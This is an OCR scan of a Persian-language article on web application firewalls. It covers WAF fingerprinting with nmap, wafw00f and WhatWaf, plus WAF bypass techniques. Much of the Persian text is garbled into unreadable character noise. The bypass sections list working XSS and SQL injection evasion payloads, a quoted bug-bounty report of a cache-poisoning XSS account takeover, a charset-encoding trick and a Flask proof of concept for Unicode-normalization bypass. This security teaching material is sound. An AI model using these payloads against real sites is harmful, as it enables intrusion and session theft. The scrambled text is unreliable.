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2 Dges rimad Dgh 0 48,5 IS 4 WAF el Cudbee o)
el 00l plxil (6,05 A Ll jo g &Sl) 8ly slss o

WAF b o Lubl -Y

Olse 4 Jlaizl a4 o5 oy gop)l5 le asliy Tl
HTTP S8l o ojlas g 0,5 sld b wed oo aizlil WAF
63,8 glaael 5l cdadlxe 4 ol g g dalp SOy
o> 2y 3 o laasly jl Jsere jsb 4 lly )l 5810
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Destination
Server

Web Application

Firewall

HTTP Traffic
Sources

[\ . WAFs Slos Y S

WAF Lol -Y
Sgdume ) e S8l WAF ol o Lil M8 oS jshailen
Ol @8l 30 el o Sy WAF Ll cpad sl (6l .0iS oo
WDe>g Dy 4 9 $ s b ools 39>9 WAF Lol a5 el o) o
g &S oolaiwl cewlio sleBypass;l 09l oo el WAF o Lulil
leBypass ¢ gaaz 5l (il b 0 929 S b Guizeen
il oaus Jlesl ol (gam 3l Cl \Sae WAF Slandais (o join a5
G S o)l vgzs cdls g0 jelaie il gl 0,8 eslail le
O L @l sl iyl 5l 6,88 4 6,58 g (Manual) sows & g0
ool 00l 00ld rdgi gy 90 daldl jo Ll Sbegs! M

fwd (599 Y-

ol e cal iy Gl G sk a5l gy ol WAF olulis
g 500 5l oslaul b o iS il Uas Sledbl 1l conl ©jle b b,

ol 0as 00ld gl S o aslsl jo aS S8
Sloplais a5 5,50 ;0 bol) o ool 31 S llas Sledsl (]
o ool Joles a5 el pllas wil oais pdais w4 WAF
sape B S 4 b coal (pasie b S by, cnl )0 09l
3 wedbos WAF gg3 azgte (wls)Sp s 9, &S ()5 (Sn)
bz gaip y2 97 Wgdior plolid WAF gg5 cle cnl 4 &8l
Joyl el ly 3 canlgz 0 Jlo oleie a5 5l 1y 555 aize
https://example.tld/?puiwe765ywiry3=<script>alert(document.
cookie)</script>
Wy & bgpe WAF a5, (5590 Slox 5l slaiges ¥ S5 50
das sl ;0 oz cplply 0,5 cdnlie (lg oo oo Cloudflare
S5 1y siteliy s 510 oyl b 3l 5 s amio o
Cloudflare &y WAF _aisee oals ool lis glas pl oo oo
Dgb oo dxgio |, WAF go5 Coal padeio b g ;S (pl plo el

A, 9 S J L
\F.Y }gg,lg,e\.olsajg.g‘\*\ 0 ylous

OIIIIIDDD

Sl eolital b STy ope So 008 (o0 B Sl g o
a5 b j0 S o cdablne S g ST Cuga jl adauly
M (318 jgee b a8 Canl ugSas (S92 WAF S5
2 0B 18 50 o5l e & Gagw; 5 3 WAF (3,1 S
DS o cdidlne oMes (o yme

(Policies) Cuwlw el aS -1ilsd 51 slac gamxa 33,k JIWAF S
Pl o cdadlre b caslew ol Bus aiS o Jos 098 0 0duals
S ) sl e S5 (00,5 A L sl slacs pdy o]
S Sl Gl Mol Jlasl Cdgpen 9 ey 31 S50 g0 b WAF
Olgie 4008 o o2l 31 Al Al gl )lo 1 s Jay p gl S
Distributed Denial of Service (DDoS) duz & Job o Jlio
Lzl WAF (glacaslw 2ol b oy a3 I3 o0 1) 25 Cadgame
Ils,s

[¥] 5 wlole snss axslis WAF Ggyne slassy 5 55
[v] Radware[#] Akamailo] Citrix[¥] AWS[¥] CloudFlare
[\\] Fortiweb[\ -] Folal BarracudalA] Microsoft Azure
.Imperva[\Y] ¢ Sucuri

190 sl oy, WAF lawgs colaiul 5,50 (gl euilSe 4 az g5l
Sl See LWAF (Lo lgie 4 ol Oglaie cunl Sow 405
ooy ol o S eolaiul B Sl olulis (gl regex
L osd se eolaiwl by xSTHIS 5l ans, O o Sl asis |
sleas; a4 a5 o> (Signature-Based) Laol i anseis
03 03l sl S )0 a5 89 co Cud bl sad ALl G Be
oals oL whgizme ply o1y g S8l glasl WAF 5 000 o
P Sgtans Sl wall alils ogzg wlis ST .AS o gwyp
Slacsst e awxid 5 LWAF 51 55 o) 5 oogdle 09l
Oered g 39290 s CwleS 0wy b a5 (Heuristic-Based)
D9 (o8 Sgduns g (olwlid Wiyls SeSin L) a5 Slaas




Sorry, you have been blocked

Why have | been blocked?

his websfle is using a security service t

. Cloudflare WAF ;I Jol> ouis o8ls yisloi (gllas ¥ i

AWS Elastic Load Balancer (Amazon) (AWS)

» protect itseif from onine

S 39 2 SR 33 o] ))))

117

What can | do to resolve this?

email the site owner to let them know ware blocked

X-AMZ-1D
X-AMZ-Request-ID

i TS
S\ \ N\ = »

/a\

aeSecure

aeSecure-code

CloudFlare Web Application Firewall (CloudFlare)

cf-ray

Incapsula Web Application Firewall (Incapsula/Imperva)

X-linfo
incap_ses
visid_inca

KONA Security Solutions (Akamai Technologies)

5950 Sl WAF (g9m 51 a5 b jud (o5 1 5l (2l iged ) Jgur

Request

Raw Hex

FET / HITR/2
Host: about_gitlab.com
Cookie: _ctuvid=
BEK.K0.Bcx2z0_4HIeiXe  dMDOxZEjKtZmStgdec0g-lE58740344017-0-£04800000;
_sp_ses.Eb85=*; _sp_id.EbB85=
7805a646-a=e7-4700-8633-6082043c14£75. 1698740348, 1. 1698740349 . . 4eal46a6-b3da—40
£B-afha-e8970103552  BaS5aa75-af59-4782-056£-533c8d4a03ca 1698740346750 1
User—hgent: Mozilla/5.0 (Windows NT 10.0; Win64; x€4; rv:108.0) Gecko/20100101
Firefox/115.0

S Accept:
text/html, application/xhtmltxnl , spplication/xnl ;q=0 9, inage/avif, inage/webp, */
*iq=0.8
Accept-language: en-US,en;g=0.5
Accept-Encoding: gsip, deflate
Upgrade-Tnsecure-Bequests: 1

B e —

5 |Sec-Fetch-Dest: document
0 |Sec-Fetch-Mode: navigate
Sec—Fetch-Site: none
Sec—Fetch-User: 271
Te: trailers

WAF ¢4 ouicS (astino jop 3529 ¥ i

WS o ooliiwl WAF 3l a5 ol O (gl diges F S0 0
el 00 03 541

Sl S5 e 5 i S5 e ol s S (@
ol 5l ekaises .l WAF oains lis aS oals 00938l <ol
3lge plu ocsslie ly uwl ool 00,8l ¥V Joux o v S5
5,5 ool [VE W] ol ye 51 oy oo

Pretty Raw Hex

AkamaiGHost

Response
Render

1 HTTP/Z Z00 OK

2 |Date: Tue, 31 Oct 2023 08:I0:43 GMT
3 Content-Type: text/html

4 Coptent-Tengrh 1121

SCf-Ray: Blea7afB5eBc3abe-DME .*
GJCf-Cache-Status: HIT
7 Eocept-Ranges: bytes

3 |Age: 2
5 |Cache-Control: public, max-age=14400

10 |Etag: "bbZbbflea33a5874911217039430c233"

11 Expires: Tue, 31 Oct 2023 12:20:43 GMT

12 Last-Modified: Tue, 31 Oct 2023 08:15:38 GMT

13 Vary: Accept-Encoding, Origin

14 X-Goog-Generation: 1598740378335374

15 ¥-Goog-Hash: cre3fcsmrh¥fA==

1 X-Coog-Hash: mdS=uyu/HqMEWESREReD 1DD CHu==

17 X-Coog-Meta-Goog-Reserved-File-Moime: 1638709341
18 X-Goog-Metageneration: 1

15 X-Boog-Storage-Class: MULTI_REGIONAL

20 X-Goog-Stored-Content-Encodin

= NC XY

X-GCoog-Stored-Contenc-Length: 2022
2 X-Guploader-Uploadid

£ L 5Vy-ADqwHBw £ EVe g1 B0HS T dCqohL ondqqPwhb 2oM0ul Swe SHIA

WAF & by o oledlb @ly P I T Sy W FR RV Y (u

30 9 )0 09> Sl 90 Vgere 0550 ol jo el cnalie LB

4 pgo (Server: Cloudflare) Jlno ;jlaic 4y jgm 4 bogpo ;00 ol
(CF-RAY: XXXXXXXXXXX) Jis o> 00 S lse

NN\
-~

o0 03 531 S oo Sl WAF a5 | L o 5l sladiged ) Jgo 4o
2,5 03l [VE VY] gl o 5l o5 o0 050 ploo onalins (gl a5 ol

R, 9 Sy Jw 1
VFY 5l doliogs g o ylouis

LKL

e



oS S99 SR )0 T (

\\k

AWS

aws.?alb

barracuda

BNI BARRACUDA LB
COOKIE
BNI persistence

cloudflare

cfduid

BIG-IP Local Traffic Manager (F5 Networks)

bigipserver

FortiWeb

N gl S

WhatWaf |3l (z
2055 Sl WAF 55 pansds p odle [V #] WhatWaf 5|

Syl 50 1y wwlio Bypass

Bypasas Waf—¥

p#iiﬁLﬁgd)j\Nafb ral%A«b)yongJ:uﬁyﬁ¢k¢~§¢ﬁlu
49 aS Cowl Cound ¢ﬁ|4JGA gﬂ‘L;;ig¢ﬁ)L¢Qooo)f\ﬂ2q|u#de]¢j
ol oas axsls p Jlie L Waf (yo S Bypass sla g, 5l S0 4 o)

O_"

:\\\\

(Regex) regex 3l oolasw! b bypass -9

L g WAF 5w 3l olo il regex | oolainl b adlos > jo
dalol )3 a5 la g, 5l ool L aS 098 o Jlasl j55m o (S
il plod oaidodrwgr a5 sl b 0 05 90 Sl 0l oo a8
sl 38 Sl aisls 00,S5 Ll |

5 S2S a Syp il By i i Jeld Jglaite 035 598 b5
el (Slaptes 5 @l Glag K, 5l oolitiul (uSe 5
51 eolatal ((Syntax) by puSiiw &5 5l eolaiul da xSTIS ¢ ailss
F Jgaz> 0 a8 0y 6l g3 oo |, (LineBreaks) a3 ooiuSls g tab
DVlcad sass @l oloaiges

5,5 ool VA VAL molics 51 lgs oo Waogkyy 5l sanlice (sl

odd &l ggdge (ul 4 bgrye (oaBly (215 iz aslsl s
Sloslaal LIV TAVE YT 518 o la 5 olg 5 Colu o ol
Ly 90 [y, WAF cowl audlys (7) oS bls cposs

FORTIWAFSID

S oo 3l | WAF a5 b 56 51 (ol s ¥ Joui

JU dam> 6 (sl b yg 5 4 TCP FIN/RST ais S5 Loyl b
obey (Jle lgie 40,5 olwlils 3.0 (side-channel attack) osl>
Syg0 4O ‘) ‘5:&) w‘y = caliste GLQW‘?)Q )"‘J" BN WAF L)

20 &L WAF 5l solazwl

Soilogs | ¥-Y

WAF olulls § jauseis gl Jolae hgy aw 5l allae ol yo
Oyt B8 5 Coal laadie s 5l a5 Cwl 0al 00, pU
Syl 1y eolaiul

nmap =Sl 51 eolatwl (<l

(The Nmap Scripting Engine) NSE ob 45 (5,5l nmap Sl o
Gy aS o ,Sl g0 ol 565665 (slacy Sl Jalls a5 5l 54
http- g http-waf-fingerprint : 3| &l Le Wigds o 00laisl WAF 2 seis
ol 0> BTy WAF pac g 0929 Sl cpl ol S8 LLS waf-detect
o parttd B S (8 4z 5 4l (Jg a3 oo LS (295 4

el 0ol ools lis g 50 oSl cpl (29,5 5l slaiges

WafWoof ;| solazw! (o

Ol s WAF (olalids g (anseis slp oS )l (n is® 5l (S
com-) Sle s Las 15l SG 5l ol el [V O] Wafw00f o 5" oslicul
Sl (0,50 VOV) alBwe sladiy jaseis colld ¢ (mand line
Sl oad ools (s ¥ WS o asis BB slass 5l i

Sl oadools Hlas O S o Sl cpl 2,5 3l Slaiged adll o

|—i-|-'"1a|:; -—-script http-waf-detect,http-waf-fingerprint ®m . ®.com I

Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 ©7:4@ EDT
Nmap scan report for §oid.com ("3 i)

Host is up (@.0815s latency).

Other addresses for .com (not scanned):

Not shown: 995 filtered tcp ports (no-response)

PORT STATE SERVICE

80/tcp open http

113/tcp closed ident /
443/tcp open https

| http-waf-detect: IDS/IPS/WAF detected:

| _moms.com:443/7payl@sd3=<script>alert(document.cookie)</script>

8080/tcp open http-proxy

8443/tcp open https-alt
| http-waf-detect: IDS/IPS/WAF detected:
| _mik.com: 8443/ ?p4ylosdi=<script>alert({document.cookie)</script>

vl 404

Nmap done: 1 IP address (1 host up) scanned in 38.23 seconds

WAF ausiii g1y nmap jl oolaiw! - JsCi

) <
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L$ wafwodf mas

ACE XML Gateway

aeSecure

AireeCDN

Airlock

Alert Logic

AliYunDun

Anquanbao

AnYu

Approach

AppWall

Armor Defense

ArvanCloud

ASP.NET Generic

ASPA Firewall

Astra

AWS Elastic Load Balancer
AzionCDN

Azure Front Door
Barikode

Barracuda

Bekchy

Beluga CDN

BIG-IP Local Traffic Manager
BinarySec

BitNinja

BlockDoS

Bluedon

BulletProof Security Pro
CacheWall

CacheFly CDN

Comodo cWatch

CdnNS Application Gateway
ChinaCache Load Balancer
Chuang Yu Shield
Cloudbric

Cloudflare

Cloudfloor

Cloudfront

CrawlProtect

DataPower

Cloud Protector

DenyALL

Distil

DOSarrest

DDoS-GUARD

Cisco

aeSecure

Airee

Phion/Ergon

Alert Logic

Alibaba Cloud Computing
Anguanbao

AnYu Technologies
Approach

Radware

Armor

ArvanCloud

Microsoft

ASPA Engineering Co.
Czar Securities

Amazon

AzionCDN

Microsoft

Ethic Ninja

Barracuda Networks
Faydata Technologies Inc.
Beluga

F5 Networks

BinarySec

BitNinja

BlockDoS

Bluedon IST

AITpro Security

Varnish

CacheFly

Comodo CyberSecurity
CdnNs,/WdidcNet
ChinaCache

Yunaq

Penta Security
Cloudflare Inc.
Cloudfloor DNS

Amazon

Jean-Denis Brun

IBM

Rohde & Schwarz CyberSecurity
Rohde & Schwarz CyberSecurity
Distil Networks
DOSarrest Internmet Security
DDOS-GUARD CORP.
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502 Bad Gateway
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404 Hack Not Found

485 Not Allowed

403 Forbidden

5080 Internal Error

i ] E
The Web Application Firewall Fingerprinting Toolkit
[*] checking https://m ==.com
[+] The site
[~] Number of reqguests: 2

is behind Cloudflare (Cloudflare Inc.) WAF.
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L whatwaf -u https:// ar i
[06:57:14][INFO] currently running on: linux

foes/frferipts/ikfale/*k/rt(" <|>v2.1.6.3($dev)" ) ;</script>

[06:57:14][INFO] attempting to update WhatWaf

[@86:57:15][INFO] WhatWaf is the newest wversion

[06:57:15][WARN] it is highly advised to use a proxy when using WhatWaf. do so by passing the proxy flag (I
E "--proxy http://127.0.8.1:9050° ) or by passing the Tor flag (IE ~--tor )
[06:57:15][INFO] using User-Agent 'whatwaf/2.1.6.3 (Language=3.11.4; Platform=Linux)
[06:57:15][INFO] using default payloads

[06:57:15][INFO] testing connection to target URL before starting attack

[06:57:18] [SUCCESS] connection succeeded, continuing

[06:57:18][INFO] running single web application "https://

[06:57:18][INFO] type: GET

[06:57:18][INFO] gathering HTTP responses

[06:58:B88][INFO] gathering normal response to compare against

[06:58:10][INFO] loading firewall detection scripts

[06:58:10][INFO] running firewall detection checks

[@6:58:11][FIREWALL] ASP.NET Generic Website Protection (Microsoft)
[@#6:58:11][FIREWALL] CloudFlare Web Application Firewall (CloudFlare)
[@6:58:11][FIREWALL] Teros Web Application Firewall (Citrix)

[06:58:11][INFO] starting bypass analysis

[06:58:11][WARN] in order to accurately perform bypass analysis threading will be dropped to a single threa
d

[06:58:11][INFO] loading payload tampering scripts

[06:58:11][INFO] running tampering bypass checks

[07:02:46][SUCCESS] apparent working tampers for target:

(#1) description: tamper payload by obfuscating payload by passing it between comments with obfuscation and
changing spaces to comments

example: '/*!DOOOOSELECT/+*/*/#+/FROM/**/information_schema.tables*/"

load path: content.tampers.modsecspace2comment

(#2) description: tamper payload by changing the spaces in the payload into a plus sign
example: '"+AND+1=1+""
load path: content.tampers.spaceZplus

WhatWaf ,ipl 29,5 5l gl digei —F JsCi

Command

WAF 05 30 sl (g 3l & 0 F Jgu
Payload

changing the case of the tag

<sCrlpT>alert(XSS)</sCriPt>

prepending an additional "<"

<<script>alert(XSS)</script>

removing the closing tag

<script>alert(XSS) //

using backticks instead of parentheses

<script>alert' XSS </script>

using encoded newline characters

java%0ascript:alert(1)

double open angle brackets

<iframe src=http://malicous.com <

uncommon tags

<STYLE>.classname {background-image:url("javascript:alert(XSS)");}</STYLE>

bypass space filter by using /
where a space is expected

<img/src=1/onerror=alert(0)>

extra characters

<a aa aaa aaaa 2aaaa 42aaaa A2aaaaa aaaaaaaa
aaaaaaaaaa href=javascript:alert(1)>xss</a>

using uncommon functions besides
alert, console.log, and prompt

SFunction("ale"+"rt(1)")();

octal encoding

javascript:74163166147401571561541571411447514115414516216450615176

Unicode encoding

<iframe src="javascript:alert('xss")">

using comments in SQL query
to break up statement

vl 404

/?1d=1+un/**/ion+sel/**/ect+1,2,3--

using backticks instead of parentheses

new Function'alt\'6\"";

base64 encoding the JavaScript

data:text/html;base64,PHN2Zy9vbmxvY WQ9Y WxlcnQoMik+

using HTML encoding
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Reported November 2, 2022, 7:18pm UTC
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Iwas able to Takeover Accounts Via Cache Poisoning (XS5) g bombon
This was possible due to 4 issues: Participants

1. hav cookie was reflected in the Response on https://www.abritel fr/annonces/location-vacances/france_midi- ’
pyrenees_46_stcere_dt0.php.js Report Id m Resolved

Code Wrap lines Copy Download Reportedte  Expedia Group Bug Bounty
var hav="value from cookie"

Disclosed April 1, 2023, 7:59pm UTC
2. The server had a protection where it was "Hiding" double quotes, however the server was not doing that with
greater than and less than symbols (<>) which allowed me to closed the script tag and using that double quotes Severity [ High(8.2) |

protection | was able to Bypass the WAF easily N ) o
Weakness Cross-site Scripting (XS5) -

WAF would trigger when: Bounty $750

Wrap lines Copy Download Time spent None
ie: hav=xss"</script><svgfonload=alert{document.domain)>

CVEID

But using double quotes | was able to bypass the WAF:
Accountde...

Wrap lines Copy Download

ie: hav=xss"</sc"ript><sv"g/onloa"d=aler"t" (document.doma"in)>

Which reflected in the response as:

Code Wrap lines Copy Download C

var hav="xss</script><svg/onload=alert(document.domain})>"

LY T WAF (403 590 31 slaiges - ¥ JSi

HTML Jolss JIWAF (403 590 slp 5,55 ol jo el osalive LB XSS Reflected 4 g5 o0 Sl slacols 5l Jlie G laie 4 b
gy 438 50y & y90 IS ol event onwheel ;l ssliul 4 Entities V] o 50 3550 ol a3, 5 0,5 o,Lal ule g 0

@meisamrce-@dorsateam

@ smiear | wilsgy puar culw g X +
&« C @ Mot secure ir‘ouhani.ir search.php?even = <fextarea®20autofocus20onwheel="%26%2397;%26%23108;%26%231(
_ rouhant.ir SEY3 e ) ‘

ol 55 3bas s,

Vonbe cemieer oly dmald 947 ; : |

Pz plr 4 JLisd o i dgno Cowlie 4y S0 aly oy s 5 ke e 53 |
(

[v1] XSS Reflected -A Jsois
¢ o
3 o0 & I-
‘f"’)*’l“ub°)-’9 AR o)l.u.w

LKL



oS S99 SR )0 T (

\\k

:\\\\

3,0 0925 Cwlem .3 URL L oy o3l zoli8l b Jlg plo oo charset ¥-Y
oolazul gl Content-Type ,un Jloke oss og, 5| ST oy
(Unicode) uSaigs 3l osliciw! F—F 30 STl (bm3500[YY] Jls olgie a) cilises glacas ST )
a5 Cewl sege8e (Unicode Compatibility) oSog (5,5 50 Cewlgs 1o sl (1o ally oauid ool  oowlio g0,y 51 WAF
oy owlol lisl ST G 1) g pa plois sla 2ST)IS Ol las gz wads auseis Oy lais ) g, ol b Jls )l
ol 8Sg Jolre (95 &8ly j0 WS o @l 55,0 015 slaiges a8 ols plal gl 5o olgs o | las 135 5,
(U+002F) 5 (U+FFOF) (sla iSTIS «» sl o Jlie olsie ay 11S6, 7.5, 8 ,10(ASPX v4x ,5 IBMO37 3| Jloo Hlsic 4y .ol o0s
ainlys KuSG wlive sbins b i) 0 50 bl caiis @glie ol Sl i Olxudg Glp Guizen [YY]s,5 solizul g5 o
Sl S00Ss L e sSTS a5 aes (o0 o)l S i sl cuils 2,5 oolazwl [y¥f] o 3l Olees 38 o,
dox 5 P ilul flgie 4 ailgl oo 50 o AT Sre ol 4 sl Ls ohehons
Py{hgﬁ 30214 (main, Jun 7 2023, 10:13:09) [GCC 12.2.0] on linux

45...)‘ 6‘)) hbj—ﬂ-d §5‘° 69).4.9 u5l.n.~o 6[—0)-5‘)[5 45-0‘ \39?5L’ 64—’9*0 Type "help”, "copyright”, "credits" or "license” for more information.

>>> import urllib.parse

i.. ) u.\)e.w f""} S ‘ )_5‘)[5 &J =\.t (U+002F) P (U+FFOF) L’" 55> 5 = '<script>alert("xss")</script>’

>>> urllib.parse.gquote_plus(s.encode( "IBM@37"))
' L%A2%83%09%89%I7HAINKB1%I3KB5%I9RAIMET FRATHA2RA2%T FRSDLa%A2%83%99%89%97%A3N "

D)1 597 05 bagi b Ol oz 5 L il Jes By & > 1
3Ssig o laibial w68 ez (o Gk 5l Ygene la ST Al 2 &g 4 ol clsS e ST e Glgie 4

. . . .. POST foomment/post HTTP/1.1
NFC: Normalization Form Canonical Composition 2 |Host: chatapp

Content-Type: application/x-www-form-urlencoded; charset=utf-8

NFD: Normalization Form Canonical Decomposition 4 |Concent-length: 23

N gl S

O_"

€ |<scripts®

NFKC: Normalization Form Compatibility Composition alercily
<fscripts

NFKD: Normalization Form Compatibility Decomposition

G5k L L yeslls ol b 4 NFKD ¢ NFKC 55 o) 25 S &y b s o ol ]
Ceol NFD g NFC G55y 4 aisS o 4325 (compatibility) POST e ST

Host: chatapp

Content-Type: application/x-www-form-urlencoded; charset=ibm500

)'f)LY (5‘55)5 45 (_SJLQ)SJ‘““ <9 )“> 65‘5 )“> ([Ya] )‘> )""MMJ ")L‘j?) Content-Length: 74

‘09‘;’ 6‘0 L_QJLC NFKD L.'. NFKC L. . ‘05";"(50 6}“[% LA_;_}‘ %AZ%SB’%Q‘J%B9%97%}\3“%81%93%85%999LABM7GTF%A?%A276A2%?F%SDLBM2%83%99%89%97m3I

Olaie 4y 5005 y90 |, WAF aillgs oo, 5L g 0 katie e sla STLS

el poe ases ol oS |l backend ;s 595 & laite (sl Jolae (Content Size) |gszxo o jlad| F-Y

PoC [Y#] LlaY a5 55 .cul 0Sig b 550 sla 551,157 51 WAF e o)l 5L aze Sl e SWAF 5l S5 o
Sawlools (LaS 515 &jg0 4 jo e 29 50 153,90 02 590 Ol gy L (] 50 05l (sad gy g CenlgS )0 ol iy

from flask import Flask, abort, request
import unicodedata
from waf import waf

app = Flask(__name__)

@app.route('/")
def Welcome_name():
name = request.args.get('name')

if waf(name):
abort (403, description="XSS Detected")

else:
name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
return 'Test XSS: ' + name

vl 404

if __name_ o main__

app.run(port=81)
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5 Oy doly (sl (5 pare SaS L 00,5 3,m0 098 0 ool <img srp onerror~ ' prompt(1)>& g0 4 )51 e oylgie 4 9 0SS
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2. Cloudflare WAF Available from: https://www.cloudflare.com/application-services/products/wat/.

3. AWS WAF. Available from: https://aws.amazon.com/waf/.

4. Citrix WAF. Available from: https://support.citrix.com/article/CTX234174/support-wiki-waf-web-application-firewall-configuration-with-netscaler.

5. Akamai WAF. Available from: https://www.akamai.com/glossary/what-is-a-waf. o |
(

1.What is a Web Application Firewall (WAF)? ; Available from: https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/. |

6. Radware WAF. Available from: https://www.radware.com/products/appwall/.

7. Azure WAF. Available from: https://azure.microsoft.com/en-us/products/web-application-firewall.

8. Barracuda WAF. Available from: https://www.barracuda.com/products/application-protection/web-application-firewall.
9. F5 WAF. Available from: https://www.f5.com/products/big-ip-services/advanced-waf.

10. FortiWeb WAF. Available from: https://www.fortinet.com/products/web-application-firewall/fortiweb.

11. Sucuri WAF. Available from: https://sucuri.net/website-firewall/.

12. Imperva WAF. Available from: https://www.imperva.com/products/web-application-firewall-waf/.

13. waf Signatures. Available from: https://github.com/sOmd3v/XSStrike/blob/master/db/wafSignatures.json.

14. waf Signatures WafwO0Of. Available from: https://github.com/EnableSecurity/wafw00f/tree/master/wafw00f/plugins.
15. WafwOOf. Available from: https://github.com/EnableSecurity/wafw00f.

16. WhatWaf. Available from: https://github.com/Ekultek/WhatWaf.

17. 5 Ways I Bypassed Your Web Application Firewall (WAF). Available from: https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-applica-
tion-firewall-waf-43852a43alc2
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